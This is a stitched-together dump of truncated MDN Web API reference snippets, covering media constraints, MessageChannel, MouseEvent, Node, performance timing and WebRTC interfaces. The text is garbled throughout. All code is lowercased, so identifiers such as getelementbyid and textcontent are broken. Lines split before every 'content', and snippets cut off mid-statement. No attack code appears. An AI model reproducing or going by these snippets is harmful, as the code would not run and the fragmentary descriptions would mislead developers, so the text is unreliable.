content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media cap...
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment ...
MediaTrackSupportedConstraints.sampleRate - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media ...
MediaTrackSupportedConstraints.sampleSize - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media ...
MediaTrackSupportedConstraints.volume - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().volume) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result ...
MediaTrackSupportedConstraints.width - Web APIs
example html
content <div id="result"> </div> css
content #result { font: 14px "arial", sans-serif; } javascript
content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media captu...
MediaTrackSupportedConstraints - Web APIs
properties specific to shared screen tracks for tracks containing video sources from the user's screen
contents, the following additional properties are may be included in addition to those available for video tracks.
MessageChannel() - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.
contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel.port1 - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.
contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that speci...
MessageChannel.port2 - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.
contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel - Web APIs
var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.
contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageEvent.data - Web APIs
example myworker.onmessage = function(e) { result.text
content = e.data; console.log('message received from worker'); }; specifications specification status comment html living standardthe definition of 'messageevent: data' in that specification.
MessageEvent.lastEventId - Web APIs
example myworker.onmessage = function(e) { result.text
content = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html living standardthe definition of 'messageevent: lasteventid' in that specification.
MessageEvent.origin - Web APIs
example myworker.onmessage = function(e) { result.text
content = e.data; console.log('message received from worker'); console.log(e.origin); }; specifications specification status comment html living standardthe definition of 'messageevent: origin' in that specification.
MessageEvent.source - Web APIs
example myworker.onmessage = function(e) { result.text
content = e.data; console.log('message received from worker'); console.log(e.source); }; specifications specification status comment html living standardthe definition of ' messageevent: source' in that specification.
MessageEvent - Web APIs
sages sent from it using port.postmessage() and port.onmessage, respectively: first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.text
content = e.data; console.log('message received from worker'); } inside the worker we use the sharedworkerglobalscope.onconnect handler to connect to the same port discussed above.
MessagePort.onmessage - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.
contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort.postMessage() - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.
contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort - Web APIs
var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.
contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
Metadata.modificationTime - Web APIs
the read-only modificationtime property of the metadata interface is a date object which specifies the date and time the file system entry (or the data referenced by the entry) was last modified.a file system entry is considered to have been modified if the metadata or the
contents of the referenced file (or directory, or whatever other kind of file system entry might exist on the platform in use) has changed.
Microsoft API extensions - Web APIs
touch apis element.mszoomto() ms
contentzoom msmanipulationevent msmanipulationstatechanged msmanipulationviewsenabled mspointerhover media apis htmlvideoelement.msframestep() htmlvideoelement.mshorizontalmirror htmlvideoelement.msinsertvideoeffect() htmlvideoelement.msislayoutoptimalforplayback htmlvideoelement.msisstereo3d htmlvideoelement.mszoom htmlaudioelement.msaudiocategory htmlaudioelement.msaudiodevicetype htmlmediaelement.mscleareffects() htmlmediaelement.msinsert...
MimeType - Web APIs
for example, a browser's
content decryption module may appear in the plugin list but support more file extensions than can be anticipated.
MouseEvent.altKey - Web APIs
html <p>click anywhere to test the <code>altkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.text
content = `the alt key is pressed: ${e.altkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.altkey' in that specification.
MouseEvent.button - Web APIs
xample html <button id="button" oncontextmenu="event.preventdefault();">click here with your mouse...</button> <p id="log"></p> javascript let button = document.queryselector('#button'); let log = document.queryselector('#log'); button.addeventlistener('mouseup', logmousebutton); function logmousebutton(e) { if (typeof e === 'object') { switch (e.button) { case 0: log.text
content = 'left button clicked.'; break; case 1: log.text
content = 'middle button clicked.'; break; case 2: log.text
content = 'right button clicked.'; break; default: log.text
content = `unknown button code: ${e.button}`; } } } result specifications specification status comment document object model (dom) ...
MouseEvent.ctrlKey - Web APIs
html <p>click anywhere to test the <code>ctrlkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.text
content = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.ctrlkey' in that specification.
MouseEvent.metaKey - Web APIs
html <p>click anywhere to test the <code>metakey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.text
content = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.metakey' in that specification.
MouseEvent.pageX - Web APIs
updatedisplay() simply replaces the
contents of the <span> elements meant to contain the x and y coordinates with the values of pagex and pagey.
MouseEvent.shiftKey - Web APIs
html <p>click anywhere to test the <code>shiftkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.text
content = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.shiftkey' in that specification.
msFirstPaint - Web APIs
put another way, msfirstpaint utilizes the browser to measure when the first
content completes being painted in the window.
msSetMediaProtectionManager - Web APIs
syntax htmlmediaelement.mssetmediaprotectionmanager(mediaprotectionmanager); parameters the windows.media.protection namespace provides classes to manage digital rights management (drm) media
contents.
MutationObserverInit.subtree - Web APIs
subtree can be used in concert with the other options to extend monitoring of attributes, text
content, and child lists to the entire subtree rooted at the target node.
NDEFRecord.id - Web APIs
web nfc does not sign the nfc
content, thus record consumer should not make any assumptions about integrity or authenticity of the identifier or any other part of the records.
NDEFRecord.lang - Web APIs
the lang property ofthe ndefrecord interface is usvstring containing the language tag of the record
contents, if it is a vailable.
NDEFRecord - Web APIs
ndefrecord.lang read only represents a language tag of the
content, if it was encoded.
NamedNodeMap - Web APIs
a namednodemap object is live and will thus be auto-updated if changes are made to its
contents internally or elsewhere.
NavigationPreloadManager - Web APIs
navigationpreloadmanager.getstate() returns a promise that resolves to an object with properties indicating whether preload is enabled and the
contents of the service-worker-navigation-preload.
Using Navigation Timing - Web APIs
pe_reload: output += "reload"; break; case performancenavigation.type_back_forward: output += "history"; break; default: output += "unknown"; break; } output += "<br/>redirects: " + performance.navigation.redirectcount; document.queryselector(".output").innerhtml = output; }, false); this amends the previous example by looking at the
contents of the performance.navigation object.
Navigator.geolocation - Web APIs
the navigator.geolocation read-only property returns a geolocation object that gives web
content access to the location of the device.
Navigator.mediaCapabilities - Web APIs
examples navigator.mediacapabilities.decodinginfo({ type : 'file', audio : {
contenttype : "audio/mp3", channels : 2, bitrate : 132700, samplerate : 5200 } }).then(function(result) { console.log('this configuration is ' + (result.supported ?
msSaveBlob - Web APIs
notes when a site calls this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header, where x-download-options removes the file open button from the browser file download dialog:
content-length: <blob.size>
content-type: <blob.type>
content-disposition: attachment;filename=<defaultname> x-download-options: noopen specifications not part of any specifications.
msSaveOrOpenBlob - Web APIs
notes when a site calls this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header:
content-length: <blob.size>
content-type: <blob.type>
content-disposition: attachment;filename=<defaultname> specifications not part of any specifications.
Navigator.requestMediaKeySystemAccess() - Web APIs
notsupportederror either the specified keysystem isn't supported by the platform or the browser, or none of the configurations specified by supportedconfigurations can be satisfied (if, for example, none of the codecs specified in
contenttype are available).
Navigator.share() - Web APIs
looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.text
content = 'mdn shared successfully' } catch(err) { resultpara.text
content = 'error: ' + err } }); sharing files to share files, first test for and call navigator.canshare().
NavigatorConcurrentHardware - Web APIs
the navigatorconcurrenthardware mixin adds to the navigator interface features which allow web
content to determine how many logical processors the user has available, in order to let
content and web apps optimize their operations to best take advantage of the user's cpu.
NavigatorPlugins.plugins - Web APIs
= navigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().text
content = navigator.plugins[i].name; newrow.insertcell().text
content = navigator.plugins[i].filename; newrow.insertcell().text
content = navigator.plugins[i].description; newrow.insertcell().text
content = navigator.plugins[i].version?navigator.plugins[i].version:""; } notes the plugin object exposes a small interface for getting information about the various plugins installed in your browser.
NavigatorStorage - Web APIs
there are many apis which provide ways for web
content to store data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb.
Node.appendChild() - Web APIs
if the given child is a documentfragment, the entire
contents of the documentfragment are moved into the child list of the specified parent node.
Node.getRootNode() - Web APIs
ent.queryselector('.js-child'), shadowhost = document.queryselector('.js-shadowhost'); console.log(parent.getrootnode().nodename); // #document console.log(child.getrootnode().nodename); // #document // create a shadowroot var shadowroot = shadowhost.attachshadow({mode:'open'}); shadowroot.innerhtml = '<style>div{background:#2bb8aa;}</style>' + '<div class="js-shadowchild">
content</div>'; var shadowchild = shadowroot.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #document </script> specifications specification sta...
Node.insertBefore() - Web APIs
if the given child is a documentfragment, the entire
contents of the documentfragment are moved into the child list of the specified parent node.
Node.isConnected - Web APIs
ment('p'); console.log(test.isconnected); // returns false document.body.appendchild(test); console.log(test.isconnected); // returns true shadow dom a shadow dom example: // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create some css to apply to the shadow dom var style = document.createelement('style'); console.log(style.isconnected); // returns false style.text
content = ` .wrapper { position: relative; } .info { font-size: 0.8rem; width: 200px; display: inline-block; border: 1px solid black; padding: 10px; background: white; border-radius: 10px; opacity: 0; transition: 0.6s all; positions: absolute; bottom: 20px; left: 10px; z-index: 3 } `; // attach the created style element to the shadow dom shadow.appendchild(style); console.l...
Node.localName - Web APIs
syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml
content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.namespac...
Node.nodeType - Web APIs
examples different types of nodes document.nodetype === node.document_node; // true document.doctype.nodetype === node.document_type_node; // true document.createdocumentfragment().nodetype === node.document_fragment_node; // true var p = document.createelement("p"); p.text
content = "once upon a time…"; p.nodetype === node.element_node; // true p.firstchild.nodetype === node.text_node; // true comments this example checks if the first node inside the document element is a comment, and displays a message if not.
Node.normalize() - Web APIs
syntax element.normalize(); example let wrapper = document.createelement("div"); wrapper.appendchild( document.createtextnode("part 1 ") ); wrapper.appendchild( document.createtextnode("part 2 ") ); // at this point, wrapper.childnodes.length === 2 // wrapper.childnodes[0].text
content === "part 1 " // wrapper.childnodes[1].text
content === "part 2 " wrapper.normalize(); // now, wrapper.childnodes.length === 1 // wrapper.childnodes[0].text
content === "part 1 part 2 " specifications specification status comment domthe definition of 'node: normalize' in that specification.
NodeList - Web APIs
for example, node.childnodes is live: const parent = document.getelementbyid('parent'); let child_nodes = parent.childnodes; console.log(child_nodes.length); // let's assume "2" parent.appendchild(document.createelement('div')); console.log(child_nodes.length); // outputs "3" static nodelists in other cases, the nodelist is static, where any changes in the dom does not affect the
content of the collection.
Notification.close() - Web APIs
at the end of the function, it also calls close() inside a addeventlistener() function to remove the notification when the relevant
content has been read on the webpage.
ParentNode.append() - Web APIs
examples appending an element let parent = document.createelement("div") let p = document.createelement("p") parent.append(p) console.log(parent.childnodes) // nodelist [ <p> ] appending text let parent = document.createelement("div") parent.append("some text") console.log(parent.text
content) // "some text" appending an element and text let parent = document.createelement("div") let p = document.createelement("p") parent.append("some text", p) console.log(parent.childnodes) // nodelist [ #text "some text", <p> ] parentnode.append() is unscopable the append() method is not scoped into the with statement.
ParentNode.firstElementChild - Web APIs
syntax var element = node.firstelementchild; example <ul id="foo"> <li>first (1)</li> <li>second (2)</li> <li>third (3)</li> </ul> <script> var foo = document.getelementbyid('foo'); // yields: first (1) console.log(foo.firstelementchild.text
content); </script> polyfill for ie8, ie9 and safari // overwrites native 'firstelementchild' prototype.
ParentNode.lastElementChild - Web APIs
syntax const element = node.lastelementchild example <ul id="foo"> <li>first (1)</li> <li>second (2)</li> <li>third (3)</li> </ul> <script> const foo = document.getelementbyid('foo'); console.log(foo.lastelementchild.text
content); // logs: third (3) </script> polyfill the code below adds support of lastelementchild() to document and documentfragment in internet explorer and safari.
ParentNode.prepend() - Web APIs
mples prepending an element var parent = document.createelement("div"); var p = document.createelement("p"); var span = document.createelement("span"); parent.append(p); parent.prepend(span); console.log(parent.childnodes); // nodelist [ <span>, <p> ] prepending text var parent = document.createelement("div"); parent.append("some text"); parent.prepend("headline: "); console.log(parent.text
content); // "headline: some text" appending an element and text var parent = document.createelement("div"); var p = document.createelement("p"); parent.prepend("some text", p); console.log(parent.childnodes); // nodelist [ #text "some text", <p> ] parentnode.prepend() is unscopable the prepend() method is not scoped into the with statement.
ParentNode.replaceChildren() - Web APIs
yes please!</label> <select id="yes" multiple size="10"> </select> </div> </main> it would make sense to use some simple css to lay out the two select lists in a line alongside one another, with the control buttons in between them: main { display: flex; } div { margin-right: 20px; } label, button { display: block; } .buttons { display: flex; flex-flow: column; justify-
content: center; } select { width: 200px; } what we want to do is transfer any selected options in the "no" list over to the "yes" list when the "yes" button is pressed, and transfer any selected options in the "yes" list over to the "no" list when the "no" button is pressed.
PaymentAddress - Web APIs
the exact size and
content varies by country or location and can include, for example, a street name, house number, apartment number, rural delivery route, descriptive instructions, or post office box number.
PaymentDetailsUpdate.shippingAddressErrors - Web APIs
the paymentdetailsupdate dictionary's shippingaddresserrors property, if present, contains an addresserrors object whose
contents provide error messages for one or more of the values in the paymentaddress specified as paymentrequest.shippingaddress.
PaymentRequest: shippingaddresschange event - Web APIs
that is, the paymentaddress which contains the shipping address may have some portions of its
content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address).
PaymentRequest - Web APIs
the payment request api's paymentrequest interface the primary access point into the api, and lets web
content and apps accept payments from the end user on behalf of the operator of the site or the publisher of the app.
PaymentResponse - Web APIs
the
contents of the object depend on the payment method being used; for example, if the basic card payment method is used, this object must conform to the structure defined in the basiccardresponse dictionary.
PerformanceNavigationTiming.domComplete - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other propertie...
PerformanceNavigationTiming.domInteractive - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other proper...
PerformanceNavigationTiming.loadEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other proper...
PerformanceNavigationTiming.loadEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other propertie...
PerformanceNavigationTiming.redirectCount - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other propertie...
PerformanceNavigationTiming.type - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other propertie...
PerformanceNavigationTiming.unloadEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other propertie...
PerformanceNavigationTiming.unloadEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other propertie...
Plugin - Web APIs
methods plugin.item returns the mime type of a supported
content type, given the index number into a list of supported types.
PluginArray - Web APIs
= navigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().text
content = navigator.plugins[i].name; newrow.insertcell().text
content = navigator.plugins[i].filename; newrow.insertcell().text
content = navigator.plugins[i].description; newrow.insertcell().text
content = navigator.plugins[i].version?navigator.plugins[i].version:""; } the following example displays information about the installed plugin(s).
Pointer Lock API - Web APIs
var tracker = document.getelementbyid('tracker'); var animation; function updateposition(e) { x += e.movementx; y += e.movementy; if (x > canvas.width + radius) { x = -radius; } if (y > canvas.height + radius) { y = -radius; } if (x < -radius) { x = canvas.width + radius; } if (y < -radius) { y = canvas.height + radius; } tracker.text
content = "x position: " + x + ", y position: " + y; if (!animation) { animation = requestanimationframe(function() { animation = null; canvasdraw(); }); } } the canvasdraw() function draws the ball in the current x and y positions: function canvasdraw() { ctx.fillstyle = "black"; ctx.fillrect(0, 0, canvas.width, canvas.height); ctx.fillstyle = "#f00"; ctx.beginpath(); ...
ProgressEvent.loaded - Web APIs
when downloading a resource using http, this only represent the part of the
content itself, not headers and other overhead.
PublicKeyCredentialCreationOptions - Web APIs
*/ } ] } }; // create the new credential with the options above navigator.credentials.create(createcredentialoptions) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; var clientextensionsoutputs = newcredentialinfo.getclientextensionsresults(); // send the response to the relying party server // it will verify the
content and integrity before // creating a new credential }).catch(function (err) { // deal with any error properly console.error(err); });; specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialcreationoptions dictionary' in that specification.
PushManager.getSubscription() - Web APIs
iption) { // we aren’t subscribed to push, so set ui // to allow the user to enable push return; } // keep your server in sync with the latest subscriptionid sendsubscriptiontoserver(subscription); showcurlcommand(subscription); // set your ui to show they have subscribed for // push messages pushbutton.text
content = 'disable push messages'; ispushenabled = true; }) .catch(function(err) { window.demo.debug.log('error during getsubscription()', err); }); }); specifications specification status comment push apithe definition of 'getsubscription()' in that specification.
PushManager - Web APIs
properties pushmanager.supported
contentencodings returns an array of supported
content codings that can be used to encrypt the payload of a push message.
PushSubscription.getKey() - Web APIs
subbtn.disabled = false; if (!subscription) { console.log('not yet subscribed to push') // we aren't subscribed to push, so set ui // to allow the user to enable push return; } // set your ui to show they have subscribed for // push messages subbtn.text
content = 'unsubscribe from push messaging'; ispushenabled = true; // initialize status, which includes setting ui elements for subscribed status // and updating subscribers list via push var endpoint = subscription.endpoint; var key = subscription.getkey('p256dh'); var auth = subscription.getkey('auth'); ...
Push API - Web APIs
this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new
content.
RTCConfiguration.bundlePolicy - Web APIs
this string, which must be a member of the rtcbundlepolicy enumeration, has the following possible values: balanced the ice agent begins by creating one rtcdtlstransport to handle each type of
content added: one for audio, one for video, and one for the rtc data channel, if applicable.
RTCConfiguration - Web APIs
constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of
content added: audio, video, and data channels.
RTCDTMFSender: tonechange event - Web APIs
examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its
content, or, if all tones have played, the string "<none>".
RTCDTMFToneChangeEvent.tone - Web APIs
syntax var tone = dtmftonechangeevent.tone; example this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its
content, or, if all tones have played, the string "<none>".
RTCDataChannel.bufferedAmount - Web APIs
example the snippet below includes a function which changes the
contents of a block with the id "buffersize" to a string indicating the number of bytes currently buffered on an rtcdatachannel.
RTCDataChannel.label - Web APIs
example this sample creates a data channel on an rtcpeerconnection, then, some time later, sets the
content of a ui element to display the channel's name.
RTCDataChannel.onmessage - Web APIs
example this code snippet creates a peer connection, adds a data channel to it, and starts creating new <p> (paragraph) elements each time a message arrives, with the message's
contents displayed inside it.
RTCDataChannel.send() - Web APIs
exceptions invalidstateerror since the data channel uses a separate transport channel from the media
content, it must establish its own connection; if it hasn't finished doing so (that is, its readystate is "connecting"), this error occurs without sending or buffering the data.
RTCPeerConnection.addIceCandidate() - Web APIs
syntax apromise = pc.addicecandidate(candidate); addicecandidate(candidate, successcallback, failurecallback); parameters candidate optional an object conforming to the rtcicecandidateinit dictionary, or an rtcicecandidate object; the
contents of the object should be constructed from a message received over the signaling channel, describing a newly received ice candidate that's ready to be delivered to the local ice agent.
RTCPeerConnection.createAnswer() - Web APIs
the
contents of the object being passed to the sendtoserver() function, along with everything else in the promise fulfillment handler, depend entirely on your design pc.createanswer().then(function(answer) { return pc.setlocaldescription(answer); }) .then(function() { // send the answer to the remote peer through the signaling server.
RTCPeerConnection.onicegatheringstatechange - Web APIs
example this example updates status information presented to the user to let them know what's happening by examining the current value of the icegatheringstate property each time it changes and changing the
contents of a status display based on the new information.
RTCPeerConnectionIceErrorEvent.address - Web APIs
examples this example creates a handler for icecandidateerror events which creates human readable messages describing the local network interface for the connection as well as the ice server that was being used to try to open the connection, then calls a function to display those as well as the event's errortext property's
contents.
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
it takes as input the rtcpeerconnection being tested, calls getstats() to get a new rtcstatsreport with current statistics, then computes the results it's looking for, outputting those results as appropriate to the user by appending appropriate html to the
contents of the <div> element whose class is stats-box.
RTCRtpStreamStats.codecId - Web APIs
syntax var codecid = rtcrtpstreamstats.codecid; value a domstring which uniquely identifies the object from which the
contents of the stream's rtccodecstats are derived.
RTCStats.id - Web APIs
the format of the id string is not defined by the specification, so you cannot reliably make any assumptions about the
contents of the string, or assume that the format of the string will remain unchanged for a given object type.
RTCStats - Web APIs
the statistics type hierarchy the various dictionaries that are used to define the
contents of the objects that contain each of the various types of statistics for webrtc are structured in such a way that they build upon the core rtcstats dictionary, each layer adding more relevant information.
Range.compareNode() - Web APIs
the following function can be used as replacement: function rangecomparenode(range, node) { var noderange = node.ownerdocument.createrange(); try { noderange.selectnode(node); } catch (e) { noderange.selectnode
contents(node); } var nodeisbefore = range.compareboundarypoints(range.start_to_start, noderange) == 1; var nodeisafter = range.compareboundarypoints(range.end_to_end, noderange) == -1; if (nodeisbefore && !nodeisafter) return 0; if (!nodeisbefore && nodeisafter) return 1; if (nodeisbefore && nodeisafter) return 2; return 3; } syntax returnvalue = range.comparenode( referen...
ReadableStream.getReader() - Web APIs
if (done) { console.log("stream complete"); para.text
